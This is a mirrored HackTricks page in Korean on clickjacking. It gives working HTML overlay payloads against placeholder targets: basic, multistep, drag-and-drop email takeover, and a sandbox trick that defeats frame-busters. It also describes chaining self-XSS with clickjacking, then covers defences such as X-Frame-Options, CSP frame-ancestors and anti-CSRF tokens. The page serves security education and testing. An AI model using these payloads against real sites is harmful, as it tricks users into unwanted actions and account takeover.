mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 08:59:30 +00:00
229 lines
12 KiB
Markdown
229 lines
12 KiB
Markdown
# Clickjacking
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
|
|
|
## Clickjacking이란 무엇인가
|
|
|
|
Clickjacking 공격에서 **사용자**는 **보이지 않거나** 다른 요소로 위장된 **웹페이지의 요소**를 **클릭하도록 속아** 넘어갑니다. 이러한 조작은 사용자가 원치 않는 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다.
|
|
|
|
### 폼 미리 채우기 트릭
|
|
|
|
때때로 **페이지 로드 시 GET 매개변수를 사용하여 폼의 필드 값을 채우는 것이 가능합니다**. 공격자는 이 동작을 악용하여 임의의 데이터로 폼을 채우고 사용자가 제출 버튼을 누르도록 clickjacking 페이로드를 전송할 수 있습니다.
|
|
|
|
### 드래그 앤 드롭으로 폼 채우기
|
|
|
|
사용자에게 **폼을 채우도록 요구해야 하지만** 특정 정보를 직접적으로 작성하라고 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 **드래그 앤 드롭**하여 제어된 데이터를 입력하도록 요청할 수 있습니다. [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이요.
|
|
|
|
### 기본 페이로드
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### 다단계 페이로드
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Drag\&Drop + Click payload
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별했으며 페이지가 **클릭재킹**에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\
|
|
예시:\
|
|
_계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(당신만 설정하고 읽을 수 있는 정보). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹**에 **취약**하며, GET 매개변수로 **양식**을 **미리 채울** 수 있습니다._\
|
|
\_\_공격자는 **XSS 페이로드**로 **양식**을 **미리 채우는** **클릭재킹** 공격을 준비하여 **사용자**를 **제출**하도록 속일 수 있습니다. 따라서 **양식이 제출되면** 값이 수정되고, **사용자는 XSS를 실행하게 됩니다**.
|
|
|
|
## 클릭재킹 완화 전략
|
|
|
|
### 클라이언트 측 방어
|
|
|
|
클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:
|
|
|
|
* 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
|
|
* 모든 프레임을 표시합니다.
|
|
* 보이지 않는 프레임에서 클릭을 방지합니다.
|
|
* 잠재적인 클릭재킹 시도를 감지하고 사용자에게 경고합니다.
|
|
|
|
그러나 이러한 프레임 버스터 스크립트는 우회될 수 있습니다:
|
|
|
|
* **브라우저 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
|
|
* **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 버스터 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
|
|
```html
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
The `allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 대상 사이트의 의도된 기능을 보장하기 위해 공격 유형에 따라 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 허용할 권한을 안내할 수 있습니다.
|
|
|
|
### 서버 측 방어
|
|
|
|
#### X-Frame-Options
|
|
|
|
**`X-Frame-Options` HTTP 응답 헤더**는 브라우저에 `<frame>` 또는 `<iframe>`에서 페이지를 렌더링하는 것이 합법적인지에 대한 정보를 제공하여 Clickjacking을 방지하는 데 도움을 줍니다:
|
|
|
|
* `X-Frame-Options: deny` - 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.
|
|
* `X-Frame-Options: sameorigin` - 현재 사이트만 콘텐츠를 프레임할 수 있습니다.
|
|
* `X-Frame-Options: allow-from https://trusted.com` - 지정된 'uri'만 페이지를 프레임할 수 있습니다.
|
|
* 제한 사항에 유의하십시오: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
|
|
|
|
#### Content Security Policy (CSP) frame-ancestors 지시어
|
|
|
|
**CSP의 `frame-ancestors` 지시어**는 Clickjacking 방지를 위한 권장 방법입니다:
|
|
|
|
* `frame-ancestors 'none'` - `X-Frame-Options: deny`와 유사합니다.
|
|
* `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`과 유사합니다.
|
|
* `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`과 유사합니다.
|
|
|
|
예를 들어, 다음 CSP는 동일한 도메인에서만 프레임을 허용합니다:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
추가 세부정보 및 복잡한 예제는 [frame-ancestors CSP 문서](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) 및 [Mozilla의 CSP frame-ancestors 문서](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)에서 확인할 수 있습니다.
|
|
|
|
### `child-src` 및 `frame-src`가 포함된 Content Security Policy (CSP)
|
|
|
|
**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있는 출처를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.
|
|
|
|
#### `frame-src` 지시어
|
|
|
|
* 프레임에 대한 유효한 출처를 정의합니다.
|
|
* `default-src` 지시어보다 더 구체적입니다.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임을 허용합니다.
|
|
|
|
#### `child-src` 지시어
|
|
|
|
* 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다.
|
|
* frame-src 및 worker-src에 대한 대체 역할을 합니다.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.
|
|
|
|
**사용 참고 사항:**
|
|
|
|
* 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
|
|
* 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
|
|
* 엄격한 출처 정의: 악용을 방지하기 위해 지침에 신뢰할 수 있는 출처만 포함하십시오.
|
|
|
|
#### JavaScript 프레임 깨기 스크립트
|
|
|
|
완전히 안전하지는 않지만, JavaScript 기반의 프레임 깨기 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location;
|
|
}
|
|
```
|
|
#### Anti-CSRF 토큰 사용
|
|
|
|
* **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지며 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.
|
|
|
|
## 참고 문헌
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
|
지금 바로 액세스하세요:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
|
|
|
|
{% hint style="success" %}
|
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>HackTricks 지원하기</summary>
|
|
|
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
|
|
|
</details>
|
|
{% endhint %}
|